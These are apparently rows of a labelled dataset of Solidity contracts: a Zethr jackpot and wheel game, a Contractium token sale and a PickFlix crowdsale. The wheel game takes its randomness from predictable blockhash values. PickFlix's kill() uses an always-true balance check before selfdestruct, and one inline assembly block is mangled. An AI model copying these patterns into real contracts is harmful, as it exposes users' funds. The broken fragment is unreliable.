uint public payOutDivisor = 2;
ZethrBankrollControllerInterface controller;
Zethr zethr;
constructor (address _controllerAddress, address _zethrAddress) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
zethr = Zethr(_zethrAddress);
}
function() public payable {}
function tokenFallback(address , uint , bytes)
public
returns (bool)
{
}
function getJackpotBalance()
public view
returns (uint)
{
uint tempBalance;
for (uint i=0; i<7; i++) {
tempBalance += controller.tokenBankrolls(i).jackpotBalance() > 0 ? controller.tokenBankrolls(i).jackpotBalance() / payOutDivisor : 0;
}
tempBalance += zethr.balanceOf(address(this)) > 0 ? zethr.balanceOf(address(this)) / payOutDivisor : 0;
return tempBalance;
}
function ownerSetPayOutDivisor(uint _divisor)
public
ownerOnly
{
require(_divisor != 0);
payOutDivisor = _divisor;
}
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
function ownerWithdrawZth(address _to)
public
ownerOnly
{
uint balance = zethr.balanceOf(address(this));
zethr.transfer(_to, balance);
}
function ownerWithdrawEth(address _to)
public
ownerOnly
{
_to.transfer(address(this).balance);
}
function gamePayOutWinner(address _winner)
public
gameOnly
{
for (uint i=0; i<7; i++) {
controller.tokenBankrolls(i).payJackpotToWinner(_winner, payOutDivisor);
}
uint payOutAmount;
if (zethr.balanceOf(address(this)) >= 1e10) {
payOutAmount = zethr.balanceOf(address(this)) / payOutDivisor;
}
if (payOutAmount >= 1e10) {
zethr.transfer(_winner, payOutAmount);
}
payOutNumber += 1;
emit JackpotPayOut(_winner, payOutNumber);
}
event JackpotPayOut(
address winner,
uint payOutNumber
);
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
modifier gameOnly()
{
require(controller.validGameAddresses(msg.sender));
_;
}
}
contract ZethrGame {
using SafeMath for uint;
using SafeMath for uint56;
event Result (address player, uint amountWagered, int amountOffset);
event Wager (address player, uint amount, bytes data);
address[] pendingBetsQueue;
uint queueHead = 0;
uint queueTail = 0;
mapping(address => BetBase) bets;
struct BetBase {
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
}
mapping(address => uint) pendingBetsMapping;
ZethrBankrollControllerInterface controller;
bool paused;
uint minBet = 1e18;
uint resolverPercentage;
string gameName;
constructor (address _controllerAddress, uint _resolverPercentage, string _name) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
resolverPercentage = _resolverPercentage;
gameName = _name;
}
function getMaxProfit()
public view
returns (uint)
{
return ZethrTokenBankrollInterface(msg.sender).getMaxProfit(address(this));
}
function ownerPauseGame()
public
ownerOnly
{
paused = true;
}
function ownerResumeGame()
public
ownerOnly
{
paused = false;
}
function ownerSetResolverPercentage(uint _percentage)
public
ownerOnly
{
require(_percentage <= 1000000);
resolverPercentage = _percentage;
}
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
function ownerSetGameName(string _name)
ownerOnly
public
{
gameName = _name;
}
function getGameName()
public view
returns (string)
{
return gameName;
}
function resolveExpiredBets(uint _numToResolve)
public
returns (uint tokensEarned_, uint queueHead_)
{
uint mQueue = queueHead;
uint head;
uint tail = (mQueue + _numToResolve) > pendingBetsQueue.length ? pendingBetsQueue.length : (mQueue + _numToResolve);
uint tokensEarned = 0;
for (head = mQueue; head < tail; head++) {
if (pendingBetsQueue[head] == address(0x0)) {
continue;
}
if (bets[pendingBetsQueue[head]].blockNumber != 0 && block.number > 256 + bets[pendingBetsQueue[head]].blockNumber) {
int sum = - finishBetFrom(pendingBetsQueue[head]);
if (sum > 0) {
tokensEarned += (uint(sum).mul(resolverPercentage)).div(1000000);
}
} else {
break;
}
}
queueHead = head;
if (tokensEarned >= 1e14) {
controller.gamePayoutResolver(msg.sender, tokensEarned);
}
return (tokensEarned, head);
}
function finishBet()
public
hasNotBetThisBlock(msg.sender)
returns (int)
{
return finishBetFrom(msg.sender);
}
function maxRandom(uint _blockn, address _entropy, uint _index)
private view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(_blockn),
_entropy,
_index
)));
}
function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index)
internal view
returns (uint256 randomNumber)
{
return maxRandom(_blockn, _entropy, _index) % _upper;
}
modifier hasNotBetThisBlock(address _sender)
{
require(bets[_sender].blockNumber != block.number);
_;
}
modifier bankrollOnly {
require(controller.isTokenBankroll(msg.sender));
_;
}
modifier isNotPaused {
require(!paused);
_;
}
modifier betIsValid(uint _betSize, uint _tier, bytes _data) {
uint divRate = ZethrTierLibrary.getDivRate(_tier);
require(isBetValid(_betSize, divRate, _data));
_;
}
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
function execute(address _player, uint _tokenCount, uint _divRate, bytes _data) public;
function finishBetFrom(address _playerAddress) internal returns (int);
function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool);
}
contract ZethrBigWheel is ZethrGame {
using SafeMath for uint8;
struct Bet {
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
uint bets;
}
JackpotHolding public jackpotHoldingContract;
constructor (address _controllerAddress, uint _resolverPercentage, string _name)
ZethrGame(_controllerAddress, _resolverPercentage, _name)
public
{
}
function getLastSpinOutput(address _playerAddress)
public view
returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output)
{
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
require(playerBet.blockNumber != 0);
(winAmount, lossAmount, jackpotAmount, jackpotWins, output) = getSpinOutput(playerBet.blockNumber, _playerAddress, playerBet.bets);
return (winAmount, lossAmount, jackpotAmount, jackpotWins, output);
}
event WheelResult(
uint _blockNumber,
address _target,
uint40[5] _bets,
uint _winAmount,
uint _lossAmount,
uint _winCategory
);
function getSpinOutput(uint _blockNumber, address _target, uint _bets_notconverted)
public view
returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output)
{
uint40[5] memory _bets = uintToBetsArray(_bets_notconverted);
uint result;
if (block.number - _blockNumber > 255) {
result = 999997;
} else {
result = random(999996, _blockNumber, _target, 0) + 1;
}
uint[5] memory betsMul;
betsMul[0] = uint(_bets[0]).mul(1e14);
betsMul[1] = uint(_bets[1]).mul(1e14);
betsMul[2] = uint(_bets[2]).mul(1e14);
betsMul[3] = uint(_bets[3]).mul(1e14);
betsMul[4] = uint(_bets[4]).mul(1e14);
lossAmount = betsMul[0] + betsMul[1] + betsMul[2] + betsMul[3] + betsMul[4];
uint _winCategory = 0;
if (result < 2) {
jackpotWins++;
_winCategory = 99;
} else {
if (result < 27028) {
if (betsMul[4] > 0) {
_winCategory = 25;
winAmount = SafeMath.mul(betsMul[4], 25);
lossAmount -= betsMul[4];
}
} else if (result < 108108) {
if (betsMul[3] > 0) {
_winCategory = 10;
winAmount = SafeMath.mul(betsMul[3], 10);
lossAmount -= betsMul[3];
}
} else if (result < 270269) {
if (betsMul[2] > 0) {
_winCategory = 6;
winAmount = SafeMath.mul(betsMul[2], 6);
lossAmount -= betsMul[2];
}
} else if (result < 513512) {
if (betsMul[1] > 0) {
_winCategory = 4;
winAmount = SafeMath.mul(betsMul[1], 4);
lossAmount -= betsMul[1];
}
} else if (result < 999997) {
if (betsMul[0] > 0) {
_winCategory = 2;
winAmount = SafeMath.mul(betsMul[0], 2);
lossAmount -= betsMul[0];
}
}
jackpotAmount = lossAmount.div(100);
lossAmount -= jackpotAmount;
}
emit WheelResult(_blockNumber, _target, _bets, winAmount, lossAmount, _winCategory);
return (winAmount, lossAmount, jackpotAmount, jackpotWins, result);
}
function getSpinResults(uint _blockNumber, address _target, uint _bets)
public
returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins)
{
(winAmount, lossAmount, jackpotAmount, jackpotWins,) = getSpinOutput(_blockNumber, _target, _bets);
}
function ownerSetJackpotAddress(address _jackpotAddress)
public
ownerOnly
{
jackpotHoldingContract = JackpotHolding(_jackpotAddress);
}
function getBet(address _playerAddress)
internal view
returns (Bet storage)
{
BetBase storage betBase = bets[_playerAddress];
Bet storage playerBet;
assembly {
let tmp := betBase_slot
swap1
}
return playerBet;
}
function maxRandom(uint _blockn, address _entropy, uint _index)
private view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(_blockn),
_entropy,
_index
)));
}
function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index)
internal view
returns (uint256 randomNumber)
{
return maxRandom(_blockn, _entropy, _index) % _upper;
}
function finishBetFrom(address _playerAddress)
internal
returns (int )
{
uint winAmount;
uint lossAmount;
uint jackpotAmount;
uint jackpotWins;
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
require(playerBet.blockNumber != 0);
require(playerBet.blockNumber != 0);
playerBetInStorage.blockNumber = 0;
(winAmount, lossAmount, jackpotAmount, jackpotWins) = getSpinResults(playerBet.blockNumber, _playerAddress, playerBet.bets);
address tokenBankrollAddress = controller.getTokenBankrollAddressFromTier(playerBet.tier);
ZethrTokenBankrollInterface bankroll = ZethrTokenBankrollInterface(tokenBankrollAddress);
bankroll.gameTokenResolution(winAmount, _playerAddress, jackpotAmount, address(jackpotHoldingContract), playerBet.tokenValue.mul(1e14));
if (jackpotWins > 0) {
for (uint x = 0; x < jackpotWins; x++) {
jackpotHoldingContract.gamePayOutWinner(_playerAddress);
}
}
uint index = pendingBetsMapping[_playerAddress];
pendingBetsQueue[index] = address(0x0);
pendingBetsMapping[_playerAddress] = 0;
emit Result(_playerAddress, playerBet.tokenValue.mul(1e14), int(winAmount) - int(lossAmount) - int(jackpotAmount));
return (int(winAmount) - int(lossAmount) - int(jackpotAmount));
}
function execute(address _player, uint _tokenCount, uint _tier, bytes _data)
isNotPaused
bankrollOnly
betIsValid(_tokenCount, _tier, _data)
hasNotBetThisBlock(_player)
public
{
Bet storage playerBet = getBet(_player);
if (playerBet.blockNumber != 0) {
finishBetFrom(_player);
}
playerBet.tokenValue = uint56(_tokenCount.div(1e14));
playerBet.blockNumber = uint48(block.number);
playerBet.tier = uint8(_tier);
require(_data.length == 32);
uint actual_data;
assembly{
actual_data := mload(add(_data, 0x20))
}
playerBet.bets = actual_data;
uint40[5] memory actual_bets = uintToBetsArray(actual_data);
require((uint(actual_bets[0]) + uint(actual_bets[1]) + uint(actual_bets[2]) + uint(actual_bets[3]) + uint(actual_bets[4])).mul(1e14) == _tokenCount);
pendingBetsQueue.length++;
pendingBetsQueue[queueTail] = _player;
queueTail++;
pendingBetsMapping[_player] = queueTail - 1;
emit Wager(_player, _tokenCount, _data);
}
function isBetValid(uint , uint , bytes _data)
public view
returns (bool)
{
uint actual_data;
assembly{
actual_data := mload(add(_data, 0x20))
}
uint40[5] memory bets = uintToBetsArray(actual_data);
uint bet2Max = bets[0] * 2;
uint bet4Max = bets[1] * 4;
uint bet6Max = bets[2] * 6;
uint bet10Max = bets[3] * 10;
uint bet25Max = bets[4] * 25;
uint max = bet2Max;
if (bet4Max > max) {
max = bet4Max;
}
if (bet6Max > max) {
max = bet6Max;
}
if (bet10Max > max) {
max = bet10Max;
}
if (bet25Max > max) {
max = bet25Max;
}
uint minBetDiv = minBet.div(1e14);
return (max*1e14 <= getMaxProfit())
&& ((bets[0]) >= minBetDiv || (bets[0]) == 0)
&& ((bets[1]) >= minBetDiv || (bets[1]) == 0)
&& ((bets[2]) >= minBetDiv || (bets[2]) == 0)
&& ((bets[3]) >= minBetDiv || (bets[3]) == 0)
&& ((bets[4]) >= minBetDiv || (bets[4]) == 0);
}
function betInputToBytes(uint40 bet1, uint40 bet2, uint40 bet3, uint40 bet4, uint40 bet5) pure public returns (bytes32){
bytes memory concat = (abi.encodePacked(uint56(0), bet1, bet2, bet3, bet4, bet5));
bytes32 output;
assembly{
output := mload(add(concat, 0x20))
}
return output;
}
function uintToBetsArray(uint input) public view returns (uint40[5]){
uint40[5] memory output;
uint trackme = (input);
for (uint i=4;; i--){
output[i] = uint40(trackme);
trackme /= 0x0000000000000000000000000000000000000000000000000000010000000000;
if (i==0){
break;
}
}
return output;
}
function getPlayerBetData(address player) public view returns(uint40[5]){
uint betData = getBet(player).bets;
return (uintToBetsArray(betData));
}
} | 1 | 3,999 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract TokenOffering is StandardToken, Ownable, BurnableToken {
bool public offeringEnabled;
uint256 public currentTotalTokenOffering;
uint256 public currentTokenOfferingRaised;
uint256 public bonusRateOneEth;
uint256 public startTime;
uint256 public endTime;
bool public isBurnInClose = false;
bool public isOfferingStarted = false;
event OfferingOpens(uint256 startTime, uint256 endTime, uint256 totalTokenOffering, uint256 bonusRateOneEth);
event OfferingCloses(uint256 endTime, uint256 tokenOfferingRaised);
function setBonusRate(uint256 _bonusRateOneEth) public onlyOwner {
bonusRateOneEth = _bonusRateOneEth;
}
function preValidatePurchase(uint256 _amount) internal {
require(_amount > 0);
require(isOfferingStarted);
require(offeringEnabled);
require(currentTokenOfferingRaised.add(_amount) <= currentTotalTokenOffering);
require(block.timestamp >= startTime && block.timestamp <= endTime);
}
function stopOffering() public onlyOwner {
offeringEnabled = false;
}
function resumeOffering() public onlyOwner {
offeringEnabled = true;
}
function startOffering(
uint256 _tokenOffering,
uint256 _bonusRateOneEth,
uint256 _startTime,
uint256 _endTime,
bool _isBurnInClose
) public onlyOwner returns (bool) {
require(_tokenOffering <= balances[owner]);
require(_startTime <= _endTime);
require(_startTime >= block.timestamp);
require(!isOfferingStarted);
isOfferingStarted = true;
startTime = _startTime;
endTime = _endTime;
isBurnInClose = _isBurnInClose;
currentTokenOfferingRaised = 0;
currentTotalTokenOffering = _tokenOffering;
offeringEnabled = true;
setBonusRate(_bonusRateOneEth);
emit OfferingOpens(startTime, endTime, currentTotalTokenOffering, bonusRateOneEth);
return true;
}
function updateStartTime(uint256 _startTime) public onlyOwner {
require(isOfferingStarted);
require(_startTime <= endTime);
require(_startTime >= block.timestamp);
startTime = _startTime;
}
function updateEndTime(uint256 _endTime) public onlyOwner {
require(isOfferingStarted);
require(_endTime >= startTime);
endTime = _endTime;
}
function updateBurnableStatus(bool _isBurnInClose) public onlyOwner {
require(isOfferingStarted);
isBurnInClose = _isBurnInClose;
}
function endOffering() public onlyOwner {
if (isBurnInClose) {
burnRemainTokenOffering();
}
emit OfferingCloses(endTime, currentTokenOfferingRaised);
resetOfferingStatus();
}
function burnRemainTokenOffering() internal {
if (currentTokenOfferingRaised < currentTotalTokenOffering) {
uint256 remainTokenOffering = currentTotalTokenOffering.sub(currentTokenOfferingRaised);
_burn(owner, remainTokenOffering);
}
}
function resetOfferingStatus() internal {
isOfferingStarted = false;
startTime = 0;
endTime = 0;
currentTotalTokenOffering = 0;
currentTokenOfferingRaised = 0;
bonusRateOneEth = 0;
offeringEnabled = false;
isBurnInClose = false;
}
}
contract WithdrawTrack is StandardToken, Ownable {
struct TrackInfo {
address to;
uint256 amountToken;
string withdrawId;
}
mapping(string => TrackInfo) withdrawTracks;
function withdrawToken(address _to, uint256 _amountToken, string _withdrawId) public onlyOwner returns (bool) {
bool result = transfer(_to, _amountToken);
if (result) {
withdrawTracks[_withdrawId] = TrackInfo(_to, _amountToken, _withdrawId);
}
return result;
}
function withdrawTrackOf(string _withdrawId) public view returns (address to, uint256 amountToken) {
TrackInfo track = withdrawTracks[_withdrawId];
return (track.to, track.amountToken);
}
}
contract ContractSpendToken is StandardToken, Ownable {
mapping (address => address) private contractToReceiver;
function addContract(address _contractAdd, address _to) external onlyOwner returns (bool) {
require(_contractAdd != address(0x0));
require(_to != address(0x0));
contractToReceiver[_contractAdd] = _to;
return true;
}
function removeContract(address _contractAdd) external onlyOwner returns (bool) {
contractToReceiver[_contractAdd] = address(0x0);
return true;
}
function contractSpend(address _from, uint256 _value) public returns (bool) {
address _to = contractToReceiver[msg.sender];
require(_to != address(0x0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function getContractReceiver(address _contractAdd) public view onlyOwner returns (address) {
return contractToReceiver[_contractAdd];
}
}
contract ContractiumToken is TokenOffering, WithdrawTrack, ContractSpendToken {
string public constant name = "Contractium";
string public constant symbol = "CTU";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
uint256 public unitsOneEthCanBuy = 15000;
uint256 internal totalWeiRaised;
event BuyToken(address from, uint256 weiAmount, uint256 tokenAmount);
function ContractiumToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function() public payable {
require(msg.sender != owner);
uint256 amount = msg.value.mul(unitsOneEthCanBuy);
uint256 amountBonus = msg.value.mul(bonusRateOneEth);
amount = amount.add(amountBonus);
preValidatePurchase(amount);
require(balances[owner] >= amount);
totalWeiRaised = totalWeiRaised.add(msg.value);
currentTokenOfferingRaised = currentTokenOfferingRaised.add(amount);
balances[owner] = balances[owner].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Transfer(owner, msg.sender, amount);
emit BuyToken(msg.sender, msg.value, amount);
owner.transfer(msg.value);
}
function batchTransfer(address[] _receivers, uint256[] _amounts) public returns(bool) {
uint256 cnt = _receivers.length;
require(cnt > 0 && cnt <= 20);
require(cnt == _amounts.length);
cnt = (uint8)(cnt);
uint256 totalAmount = 0;
for (uint8 i = 0; i < cnt; i++) {
totalAmount = totalAmount.add(_amounts[i]);
}
require(totalAmount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(totalAmount);
for (i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_amounts[i]);
emit Transfer(msg.sender, _receivers[i], _amounts[i]);
}
return true;
}
} | 0 | 491 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IPickFlixToken {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function closeNow() public;
function kill() public;
function rate() public view returns(uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor(address minter) public {
if(minter == 0x0) {
_addMinter(msg.sender);
} else {
_addMinter(minter);
}
}
modifier onlyMinter() {
require(isMinter(msg.sender), "Only minter can do this");
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 rate, address wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns(IERC20) {
return _token;
}
function wallet() public view returns(address) {
return _wallet;
}
function rate() public view returns(uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
}
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 internal _closingTime;
modifier onlyWhileOpen {
require(isOpen(), "Crowdsale is no longer open");
_;
}
constructor(uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp, "The Crowdsale must not start in the past");
require(closingTime >= openingTime, "The Crowdsale must end in the future");
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns(uint256) {
return _openingTime;
}
function closingTime() public view returns(uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
contract DeadlineCrowdsale is TimedCrowdsale {
constructor(uint256 closingTime) public TimedCrowdsale(block.timestamp, closingTime) { }
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
contract PickFlixToken is ERC20Mintable, DeadlineCrowdsale, MintedCrowdsale {
string public name = "";
string public symbol = "";
string public externalID = "";
uint public decimals = 18;
constructor(string _name, string _symbol, uint256 _rate, address _wallet, uint _closeDate, string _externalID)
public
Crowdsale(_rate, _wallet, this)
ERC20Mintable()
MinterRole(this)
DeadlineCrowdsale(_closeDate) {
externalID = _externalID;
name = _name;
symbol = _symbol;
}
function closeNow() public {
require(msg.sender == wallet(), "Must be the creator to close this token");
_closingTime = block.timestamp - 1;
}
function kill() public {
require(msg.sender == wallet(), "Must be the creator to kill this token");
require(balanceOf(wallet()) >= 0, "Must have no tokens, or the creator owns all the tokens");
selfdestruct(wallet());
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
